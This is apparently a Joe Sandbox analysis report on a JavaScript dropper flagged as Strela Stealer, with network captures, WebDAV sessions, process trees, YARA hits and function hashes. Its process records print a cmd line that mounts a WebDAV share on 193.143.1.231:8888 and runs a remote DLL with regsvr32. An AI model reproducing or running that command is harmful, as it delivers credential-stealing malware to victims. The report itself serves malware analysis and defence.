Dec 17, 2024 15:16:15.983469963 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.983556986 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.984761953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.984822989 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.984916925 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.986130953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.986188889 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.986244917 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.987442970 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.987504005 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.987652063 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.989025116 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.989083052 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.989136934 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.990140915 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.990200996 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.990287066 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.991391897 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.991451025 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.991506100 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.992685080 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.992748022 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.992914915 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.994009018 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.994075060 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.994138956 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.995341063 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.995400906 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.995496035 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.996687889 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.996752977 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.996849060 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.998014927 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.998075962 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.998202085 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:16.042490959 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:44.672780991 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:44.672887087 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:44.672986031 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:44.792531013 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:45.965971947 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:45.966187000 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:45.966187000 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:46.086020947 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:47.756829977 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:47.757021904 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:47.757021904 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:47.876621008 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:47.964276075 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:47.964345932 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:47.964579105 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:48.084042072 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:52.919713020 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:52.919805050 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:52.919895887 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:53.039525032 CET	8888	49709	193.143.1.231	192.168.2.5

HTTP Request Dependency Graph

193.143.1.231:8888

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.231	8888	3944	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 15:16:02.329371929 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.231:8888
Dec 17, 2024 15:16:03.748127937 CET	223	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 17 Dec 2024 14:16:03 GMT Content-Length: 0 Connection: keep-alive Allow: OPTIONS, LOCK, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND Dav: 1, 2 Ms-Author-Via: DAV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.231	8888

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 15:16:07.084291935 CET	137	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: 193.143.1.231:8888
Dec 17, 2024 15:16:08.539954901 CET	223	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 17 Dec 2024 14:16:08 GMT Content-Length: 0 Connection: keep-alive Allow: OPTIONS, LOCK, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND Dav: 1, 2 Ms-Author-Via: DAV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	193.143.1.231	8888

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 15:16:10.208786011 CET	692	IN	HTTP/1.1 207 Multi-Status Server: nginx/1.22.1 Date: Tue, 17 Dec 2024 14:16:09 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 520 Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 73 75 70 70 6f 72 74 65 64 6c 6f 63 6b 3e 3c 44 3a 6c 6f 63 6b 65 6e 74 72 79 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 65 78 63 6c 75 73 69 76 65 2f 3e 3c 2f 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 44 3a 77 72 69 74 65 2f 3e 3c 2f 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 2f 44 3a 6c 6f 63 6b 65 6e 74 72 79 3e 3c 2f 44 3a 73 75 70 70 6f 72 74 65 64 6c 6f 63 6b 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 67 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:propstat><D:prop><D:supportedlock><D:lockentry xmlns:D="DAV:"><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:resourcetype><D:collection xmlns:D="DAV:"/></D:resourcetype><D:getlastmodified>Mon, 16 Dec 2024 12:13:21 GMT</D:getlastmodified><D:displayname></D:displayname></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	193.143.1.231	8888

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 15:16:11.761334896 CET	692	IN	HTTP/1.1 207 Multi-Status Server: nginx/1.22.1 Date: Tue, 17 Dec 2024 14:16:11 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 520 Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 3c 2f 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 3c 44 3a 73 75 70 70 6f 72 74 65 64 6c 6f 63 6b 3e 3c 44 3a 6c 6f 63 6b 65 6e 74 72 79 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 65 78 63 6c 75 73 69 76 65 2f 3e 3c 2f 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 44 3a 77 72 69 74 65 2f 3e 3c 2f 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 2f 44 3a 6c 6f 63 6b 65 6e 74 72 79 3e 3c 2f 44 3a 73 75 70 70 6f 72 74 65 64 6c 6f 63 6b 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 20 78 6d 6c 6e 73 3a [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:propstat><D:prop><D:displayname></D:displayname><D:supportedlock><D:lockentry xmlns:D="DAV:"><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:resourcetype><D:collection xmlns:D="DAV:"/></D:resourcetype><D:getlastmodified>Mon, 16 Dec 2024 12:13:21 GMT</D:getlastmodified></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	193.143.1.231	8888

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 15:16:13.427613974 CET	854	IN	HTTP/1.1 207 Multi-Status Server: nginx/1.22.1 Date: Tue, 17 Dec 2024 14:16:13 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 682 Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 31 34 30 33 34 31 36 32 35 36 32 33 38 36 33 2e 64 6c 6c 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 73 75 70 70 6f 72 74 65 64 6c 6f 63 6b 3e 3c 44 3a 6c 6f 63 6b 65 6e 74 72 79 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 65 78 63 6c 75 73 69 76 65 2f 3e 3c 2f 44 3a 6c 6f 63 6b 73 63 6f 70 65 3e 3c 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 44 3a 77 72 69 74 65 2f 3e 3c 2f 44 3a 6c 6f 63 6b 74 79 70 65 3e 3c 2f 44 3a 6c 6f 63 6b 65 6e 74 72 79 3e 3c 2f 44 3a 73 75 70 70 6f 72 74 65 64 6c 6f 63 6b 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/140341625623863.dll</D:href><D:propstat><D:prop><D:supportedlock><D:lockentry xmlns:D="DAV:"><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:resourcetype></D:resourcetype><D:getcontentlength>418816</D:getcontentlength><D:getlastmodified>Tue, 17 Dec 2024 14:13:22 GMT</D:getlastmodified><D:getetag>"1811fc5bc5a4e37266400"</D:getetag><D:displayname>140341625623863.dll</D:displayname><D:getcontenttype>application/octet-stream</D:getcontenttype></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	193.143.1.231	8888

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 15:16:13.555913925 CET	195	OUT	GET /140341625623863.dll HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: 193.143.1.231:8888
Dec 17, 2024 15:16:14.979101896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 17 Dec 2024 14:16:14 GMT Content-Type: application/octet-stream Content-Length: 418816 Connection: keep-alive Accept-Ranges: bytes Etag: "1811fc5bc5a4e37266400" Last-Modified: Tue, 17 Dec 2024 14:13:22 GMT Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 04 00 19 51 61 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 00 00 d2 00 00 00 8e 05 00 00 00 00 00 f0 12 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 04 00 00 00 00 00 00 02 00 60 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 f0 00 00 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEdQag" `W.text `.rdatax@@.data@.pdatab@@

Target ID:	0
Start time:	09:16:00
Start date:	17/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js"
Imagebase:	0x7ff745dd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:16:00
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Imagebase:	0x7ff63b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:16:00
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:16:00
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.231@8888\davwwwroot\
Imagebase:	0x7ff63b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:16:00
Start date:	17/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.231@8888\davwwwroot\
Imagebase:	0x7ff636720000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:16:10
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Imagebase:	0x7ff63b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:16:10
Start date:	17/12/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Imagebase:	0x7ff7e6400000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_StrelaStealer, Description: Yara detected Strela Stealer, Source: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StrelaStealer, Description: Yara detected Strela Stealer, Source: 0000000B.00000002.2209539224.00007FF8B7E10000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.2%
Total number of Nodes:	848
Total number of Limit Nodes:	4

Executed Functions

Function 02209A30 Relevance: 9.0, APIs: 2, Strings: 1, Instructions: 3726
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 02209A73
GetLocaleInfoA.KERNELBASE ref: 02209E23

Strings

5, xrefs: 0220BAB3

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateInfoLocaleThread
String ID: 5
API String ID: 899703944-2226203566
Opcode ID: ac61b2cba66e79233cc380a49c31ec76b5bea808db43e292b3db5bd03ea4f0b3
Instruction ID: 15b43e84139520742684572fc7cbcfb6fc13bbb6129de3d58c8df81ebeaf2d65
Opcode Fuzzy Hash: ac61b2cba66e79233cc380a49c31ec76b5bea808db43e292b3db5bd03ea4f0b3
Instruction Fuzzy Hash: 4313D56BBA55140BBB0C88B699A33E773C7D3D6719F29B13D89C3C3587DCAA480B0585

Function 0220BDB0 Relevance: 3.2, APIs: 1, Instructions: 1733
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32 ref: 0220C845

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 60d6a659b960b3717680036fba42c66b31b789c7868b512b370437a3548f9c93
Instruction ID: 9ab14b140fcc22c342accee5e86b6d7d010e6a70cf04748c5b8a827f8dfba4db
Opcode Fuzzy Hash: 60d6a659b960b3717680036fba42c66b31b789c7868b512b370437a3548f9c93
Instruction Fuzzy Hash: 2B92C46BBF55000BAB0C88B699A73F323C7D396719F29B53D45D7C3152ECAE884B0585

Function 0223D274 Relevance: 1.6, APIs: 1, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,?,?,?,?,00000004,0223D36C), ref: 0223D29F

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 83775a422325cb061dd29d8490b154c16ce4811a866643c6ee45823764a3e1be
Instruction ID: c34356d85fe502a1b5956ccf68c26b417c2159f45d41f58e7fa31ad8e28ed4ad
Opcode Fuzzy Hash: 83775a422325cb061dd29d8490b154c16ce4811a866643c6ee45823764a3e1be
Instruction Fuzzy Hash: C1316BB0910B0E8BDF15EFA488886ED77B1FB58308F04453AD40AD7295EB75C985CB81

Non-executed Functions

Function 02236F30 Relevance: 8.1, Strings: 1, Instructions: 6827
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

vyTn, xrefs: 0223A3D6

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vyTn
API String ID: 0-1089316748
Opcode ID: ac73c6055c85f12ac252a6679bea8b96955aaa643fb23d62653498d36e1fd4e8
Instruction ID: 499dcec78f24170e5d0efe6d38fad6ec483613e0c81b24841d7532f76a5a8869
Opcode Fuzzy Hash: ac73c6055c85f12ac252a6679bea8b96955aaa643fb23d62653498d36e1fd4e8
Instruction Fuzzy Hash: FE73925BBB55100BBB0C887A99A33E323C3D3A7729F29B63D85E3C3693D85E480B5545

Function 022498E8 Relevance: 1.8, APIs: 1, Instructions: 321COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 02249B37

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: 0825bef10224c9187826c5c0cc1e92805fa228d677d99d5450349513bd5de2ce
Instruction ID: 9a2c12c5fdbe68a870605ea218139f0d65f18801693b71275128f8782e5a1bb0
Opcode Fuzzy Hash: 0825bef10224c9187826c5c0cc1e92805fa228d677d99d5450349513bd5de2ce
Instruction Fuzzy Hash: 2EB17A30520A5E8FDB9DCF1CC88AB5677E0FF49318F198599E899CB265C735D892CB01

Function 0223A391 Relevance: 1.8, Strings: 1, Instructions: 504COMMON

Download Yara Rule

Strings

vyTn, xrefs: 0223A3D6

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vyTn
API String ID: 0-1089316748
Opcode ID: fee1ff493de0a62dfbd6c4a6402f45fc275154e1010e7b9f75b7645ba25e9ffc
Instruction ID: d0e3aa63879acfc99c25af0c0feb1ec41bb5935efd424e6cedd1358327629424
Opcode Fuzzy Hash: fee1ff493de0a62dfbd6c4a6402f45fc275154e1010e7b9f75b7645ba25e9ffc
Instruction Fuzzy Hash: 97C13A9BBB8A080B6B0C98BA5C973F726C3D3E5709B1DF13D4997D7145ECAD884B1144

Function 02242B28 Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16bb679460c2f365bd65fc238876c35270d3ccb8e22677241c934e6b682caf3
Instruction ID: c07f4953206a69ffcf429613873a8573afbce264ef1f6de272fcee3660162c32
Opcode Fuzzy Hash: c16bb679460c2f365bd65fc238876c35270d3ccb8e22677241c934e6b682caf3
Instruction Fuzzy Hash: 2EB10830638B498FDB2DDBB9988427D77D2FB84710F54475EF886C3199DF6098828A82

Function 022429A4 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ae3c69de23f64a5eb9535b7f532c30bd7227b1e0e72a963f417f84bb1cc622e0
Instruction ID: 71435476067e34cf9054a21acc42410fc0db319e19c0a64c0d27bb1ec9854553
Opcode Fuzzy Hash: ae3c69de23f64a5eb9535b7f532c30bd7227b1e0e72a963f417f84bb1cc622e0
Instruction Fuzzy Hash: E091083063CF0D8FD72CEFB99849276B7D2FB84710B50471EE89AC3255DE6098428682

Function 0223DA00 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f629496b896a9729be065d4d22f8e3c8e85d13c0d28e00766ea6a5fa37adc5c
Instruction ID: 325174c8a6eb805a5473ce2de8be57a6bb12878e64901de9e9125f83cfab3f19
Opcode Fuzzy Hash: 4f629496b896a9729be065d4d22f8e3c8e85d13c0d28e00766ea6a5fa37adc5c
Instruction Fuzzy Hash: 6A51C132328E094F9B1CDEACD49867573E3F7AC314315822EE40ED72A9DA74E9468785

Function 02246C48 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 463
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 02246CA4

Part of subcall function 02246070: __GetUnwindTryBlock.LIBCMT ref: 022460B3
Part of subcall function 02246070: __SetUnwindTryBlock.LIBVCRUNTIME ref: 022460D8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 02246D7C
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 02246FCB
std::bad_alloc::bad_alloc.LIBCMT ref: 022470D7

Strings

csm, xrefs: 02246D9F
csm, xrefs: 02246D25
csm, xrefs: 02246CBE

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

